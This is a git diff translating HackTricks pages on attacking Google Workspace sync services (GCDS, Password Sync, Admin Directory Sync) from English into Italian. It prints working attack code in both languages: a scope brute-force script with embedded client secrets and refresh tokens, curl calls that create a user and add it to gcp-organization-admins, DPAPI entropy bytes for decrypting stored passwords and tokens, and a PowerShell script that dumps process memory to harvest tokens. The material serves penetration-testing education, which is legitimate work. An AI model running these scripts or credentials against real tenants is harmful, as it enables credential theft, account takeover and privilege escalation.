> Tieni presente che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scopes supportati dall'applicazione in cui stai generando il token di accesso**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Inoltre, il refresh token non è valido in ogni applicazione.
|
||||
|
||||
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Per impostazione predefinita, GCSD non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scopes che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -287,11 +278,9 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
E questo è l'output che ho ottenuto al momento della scrittura:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
|
||||
https://www.googleapis.com/auth/apps.licensing
|
||||
https://www.googleapis.com/auth/contacts
|
||||
```
|
||||
|
||||
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
|
||||
|
||||
#### Crea un utente e aggiungilo al gruppo `gcp-organization-admins` per provare a ottenere privilegi elevati in GCP
|
||||
```bash
|
||||
# Create new user
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/users' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"primaryEmail": "deleteme@domain.com",
|
||||
"name": {
|
||||
"givenName": "Delete",
|
||||
"familyName": "Me"
|
||||
},
|
||||
"password": "P4ssw0rdStr0ng!",
|
||||
"changePasswordAtNextLogin": false
|
||||
}'
|
||||
|
||||
# Add to group
|
||||
curl -X POST \
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
|
||||
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{
|
||||
"email": "deleteme@domain.com",
|
||||
"role": "OWNER"
|
||||
}'
|
||||
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
|
||||
> Non è possibile assegnare al nuovo utente il ruolo di Super Amin perché il **refresh token non ha abbastanza scope** per fornire i privilegi richiesti.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,57 +2,56 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di base
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Questo è il binario e il servizio che Google offre per **mantenere sincronizzate le password degli utenti tra l'AD** e Workspace. Ogni volta che un utente cambia la propria password nell'AD, viene impostata su Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Viene installato in `C:\Program Files\Google\Password Sync` dove puoi trovare il binario `PasswordSync.exe` per configurarlo e `password_sync_service.exe` (il servizio che continuerà a funzionare).
|
||||
|
||||
### GPS - Configuration
|
||||
### GPS - Configurazione
|
||||
|
||||
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
|
||||
Per configurare questo binario (e servizio), è necessario **dargli accesso a un principale Super Admin in Workspace**:
|
||||
|
||||
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
|
||||
- Only available in Domain Controllers with GUI
|
||||
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
|
||||
- Very bad idea as those credentials never expired and could be misused
|
||||
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
|
||||
- Google require it for domain controlled without GUI
|
||||
- These creds are also stored in the registry
|
||||
- Accedi tramite **OAuth** con Google e poi **salverà un token nel registro (crittografato)**
|
||||
- Disponibile solo nei Domain Controller con GUI
|
||||
- Fornendo alcune **credenziali di Service Account da GCP** (file json) con permessi per **gestire gli utenti di Workspace**
|
||||
- Molto cattiva idea poiché quelle credenziali non scadono mai e potrebbero essere abusate
|
||||
- Molto cattiva idea dare accesso a un SA su Workspace poiché il SA potrebbe essere compromesso in GCP e sarà possibile pivotare su Workspace
|
||||
- Google lo richiede per i domini controllati senza GUI
|
||||
- Queste credenziali sono anche memorizzate nel registro
|
||||
|
||||
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
|
||||
Per quanto riguarda l'AD, è possibile indicare di utilizzare il **contesto delle applicazioni attuale, anonimo o alcune credenziali specifiche**. Se viene selezionata l'opzione credenziali, il **nome utente** è memorizzato all'interno di un file nel **disco** e la **password** è **crittografata** e memorizzata nel **registro**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
### GPS - Dumping password e token dal disco
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
|
||||
> Nota che [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) è in grado di rilevare **GPS**, ottenere informazioni sulla configurazione e **persino decrittografare la password e il token**.
|
||||
|
||||
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
|
||||
Nel file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** è possibile trovare parte della configurazione come il **`baseDN`** dell'AD configurato e il **`username`** le cui credenziali vengono utilizzate.
|
||||
|
||||
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
|
||||
Nel registro **`HKLM\Software\Google\Google Apps Password Sync`** è possibile trovare il **refresh token crittografato** e la **password crittografata** per l'utente AD (se presente). Inoltre, se invece di un token, vengono utilizzate alcune **credenziali SA**, è anche possibile trovarle crittografate in quell'indirizzo di registro. I **valori** all'interno di questo registro sono accessibili solo dagli **Amministratori**.
|
||||
|
||||
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
La **password** crittografata (se presente) si trova all'interno della chiave **`ADPassword`** ed è crittografata utilizzando l'API **`CryptProtectData`**. Per decrittografarla, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
|
||||
Il token crittografato (se presente) si trova all'interno della chiave **`AuthToken`** ed è crittografato utilizzando l'API **`CryptProtectData`**. Per decrittografarlo, è necessario essere lo stesso utente di quello che ha configurato la sincronizzazione della password e utilizzare questa **entropia** quando si utilizza **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Inoltre, è anche codificato utilizzando base32hex con il dizionario **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
|
||||
I valori di entropia sono stati trovati utilizzando lo strumento. È stato configurato per monitorare le chiamate a **`CryptUnprotectData`** e **`CryptProtectData`** e poi lo strumento è stato utilizzato per avviare e monitorare `PasswordSync.exe` che decrittograferà la password e il token di autenticazione configurati all'inizio e lo strumento mostrerà **i valori per l'entropia utilizzata** in entrambi i casi:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
|
||||
Nota che è anche possibile vedere i valori **decrittografati** negli input o output delle chiamate a queste API (nel caso in cui a un certo punto Winpeas smetta di funzionare).
|
||||
|
||||
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
Nel caso in cui la sincronizzazione della password fosse **configurata con credenziali SA**, sarà anche memorizzata in chiavi all'interno del registro **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
### GPS - Dumping token dalla memoria
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Proprio come con GCPW, è possibile dumpare la memoria del processo di `PasswordSync.exe` e dei processi `password_sync_service.exe` e sarà possibile trovare refresh e access token (se sono già stati generati).\
|
||||
Immagino che tu possa anche trovare le credenziali configurate per l'AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> e i processi <code>password_sync_service.exe</code> e cerca i token</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Show EULA if it wasn't accepted yet for strings
|
||||
@@ -70,7 +69,7 @@ $stringsPath
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GPS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GPS - Generazione di token di accesso dai token di aggiornamento
|
||||
|
||||
Utilizzando il token di aggiornamento, è possibile generare token di accesso utilizzandolo insieme all'ID client e al segreto client specificati nel seguente comando:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
### GPS - Scopes
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
|
||||
> Nota che anche avendo un refresh token, non è possibile richiedere alcuno scope per il token di accesso poiché puoi richiedere solo gli **scope supportati dall'applicazione in cui stai generando il token di accesso**.
|
||||
>
|
||||
> Also, the refresh token is not valid in every application.
|
||||
> Inoltre, il refresh token non è valido in ogni applicazione.
|
||||
|
||||
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
|
||||
Per impostazione predefinita, GPS non avrà accesso come utente a ogni possibile scope OAuth, quindi utilizzando il seguente script possiamo trovare gli scope che possono essere utilizzati con il `refresh_token` per generare un `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
--data "scope=$scope" \
|
||||
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
echo $scope >> /tmp/valid_scopes.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo ""
|
||||
@@ -175,22 +170,15 @@ echo "Valid scopes:"
|
||||
cat /tmp/valid_scopes.txt
|
||||
rm /tmp/valid_scopes.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
And this is the output I got at the time of the writing:
|
||||
|
||||
E questo è l'output che ho ottenuto al momento della scrittura:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.user
|
||||
```
|
||||
|
||||
Which is the same one you get if you don't indicate any scope.
|
||||
Qual è lo stesso che ottieni se non indichi alcun ambito.
|
||||
|
||||
> [!CAUTION]
|
||||
> With this scope you could **modify the password of a existing user to escalate privileges**.
|
||||
> Con questo ambito potresti **modificare la password di un utente esistente per aumentare i privilegi**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,61 +1,57 @@
|
||||
# GWS - Admin Directory Sync
|
||||
# GWS - Sincronizzazione della Directory Amministrativa
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di Base
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
La principale differenza tra questo modo di sincronizzare gli utenti con GCDS è che GCDS viene eseguito manualmente con alcuni binari che devi scaricare ed eseguire, mentre **la Sincronizzazione della Directory Amministrativa è serverless** gestita da Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
|
||||
Al momento della scrittura, questo servizio è in beta e supporta 2 tipi di sincronizzazione: Da **Active Directory** e da **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
|
||||
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
|
||||
- **Active Directory:** Per configurarlo, devi dare **accesso a Google al tuo ambiente Active Directory**. E poiché Google ha accesso solo alle reti GCP (tramite **VPC connectors**), devi creare un connettore e poi rendere il tuo AD disponibile da quel connettore avendolo in VM nella rete GCP o utilizzando Cloud VPN o Cloud Interconnect. Inoltre, devi fornire **credenziali** di un account con accesso in lettura sulla directory e un **certificato** per contattare tramite **LDAPS**.
|
||||
- **Azure Entra ID:** Per configurarlo, è necessario **accedere ad Azure con un utente con accesso in lettura** sulla sottoscrizione Entra ID in un pop-up mostrato da Google, e Google manterrà il token con accesso in lettura su Entra ID.
|
||||
|
||||
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
|
||||
Una volta configurato correttamente, entrambe le opzioni consentiranno di **sincronizzare utenti e gruppi in Workspace**, ma non permetteranno di configurare utenti e gruppi da Workspace a AD o EntraID.
|
||||
|
||||
Other options that it will allow during this synchronization are:
|
||||
Altre opzioni che saranno consentite durante questa sincronizzazione sono:
|
||||
|
||||
- Send an email to the new users to log-in
|
||||
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
|
||||
- Select the **groups containing the users** that will be synced.
|
||||
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
|
||||
- Inviare un'email ai nuovi utenti per il login
|
||||
- Cambiare automaticamente il loro indirizzo email in quello utilizzato da Workspace. Quindi, se Workspace utilizza `@hacktricks.xyz` e gli utenti di EntraID utilizzano `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` sarà utilizzato per gli utenti creati nell'account.
|
||||
- Selezionare i **gruppi contenenti gli utenti** che saranno sincronizzati.
|
||||
- Selezionare i **gruppi** da sincronizzare e creare in Workspace (o indicare di sincronizzare tutti i gruppi).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
### Da AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
If you manage to compromise an AD or EntraID you will have total control of the users & groups that are going to be synchronized with Google Workspace.\
|
||||
However, notice that the **passwords** the users might be using in Workspace **could be the same ones or not**.
|
||||
Se riesci a compromettere un AD o EntraID avrai il controllo totale degli utenti e dei gruppi che verranno sincronizzati con Google Workspace.\
|
||||
Tuttavia, nota che le **password** che gli utenti potrebbero utilizzare in Workspace **potrebbero essere le stesse o meno**.
|
||||
|
||||
#### Attacking users
|
||||
#### Attaccare gli utenti
|
||||
|
||||
When the synchronization happens it might synchronize **all the users from AD or only the ones from a specific OU** or only the **users members of specific groups in EntraID**. This means that to attack a synchronized user (or create a new one that gets synchronized) you will need first to figure out which users are being synchronized.
|
||||
Quando avviene la sincronizzazione, potrebbe sincronizzare **tutti gli utenti da AD o solo quelli di una specifica OU** o solo gli **utenti membri di gruppi specifici in EntraID**. Questo significa che per attaccare un utente sincronizzato (o crearne uno nuovo che venga sincronizzato) dovrai prima capire quali utenti vengono sincronizzati.
|
||||
|
||||
- Users might be **reusing the password or not from AD or EntraID**, but this mean that you will need to **compromise the passwords of the users to login**.
|
||||
- If you have access to the **mails** of the users, you could **change the Workspace password of an existing user**, or **create a new user**, wait until it gets synchronized an setup the account.
|
||||
- Gli utenti potrebbero **riutilizzare la password o meno da AD o EntraID**, ma questo significa che dovrai **compromettere le password degli utenti per accedere**.
|
||||
- Se hai accesso alle **email** degli utenti, potresti **cambiare la password di Workspace di un utente esistente**, o **creare un nuovo utente**, aspettare che venga sincronizzato e configurare l'account.
|
||||
|
||||
Once you access the user inside Workspace it might be given some **permissions by default**.
|
||||
Una volta che accedi all'utente all'interno di Workspace, potrebbero essere concessi alcuni **permessi per impostazione predefinita**.
|
||||
|
||||
#### Attacking Groups
|
||||
#### Attaccare i Gruppi
|
||||
|
||||
You also need to figure out first which groups are being synchronized. Although there is the possibility that **ALL** the groups are being synchronized (as Workspace allows this).
|
||||
Devi anche capire prima quali gruppi vengono sincronizzati. Anche se c'è la possibilità che **TUTTI** i gruppi vengano sincronizzati (poiché Workspace lo consente).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
> Nota che anche se i gruppi e le appartenenze vengono importati in Workspace, gli **utenti che non sono sincronizzati nella sincronizzazione degli utenti non verranno creati** durante la sincronizzazione dei gruppi anche se sono membri di uno dei gruppi sincronizzati.
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
Se sai quali gruppi di Azure hanno **permessi assegnati in Workspace o GCP**, potresti semplicemente aggiungere un utente compromesso (o appena creato) in quel gruppo e ottenere quei permessi.
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
C'è un'altra opzione per abusare dei gruppi privilegiati esistenti in Workspace. Ad esempio, il gruppo `gcp-organization-admins@<workspace.email>` di solito ha alti privilegi su GCP.
|
||||
|
||||
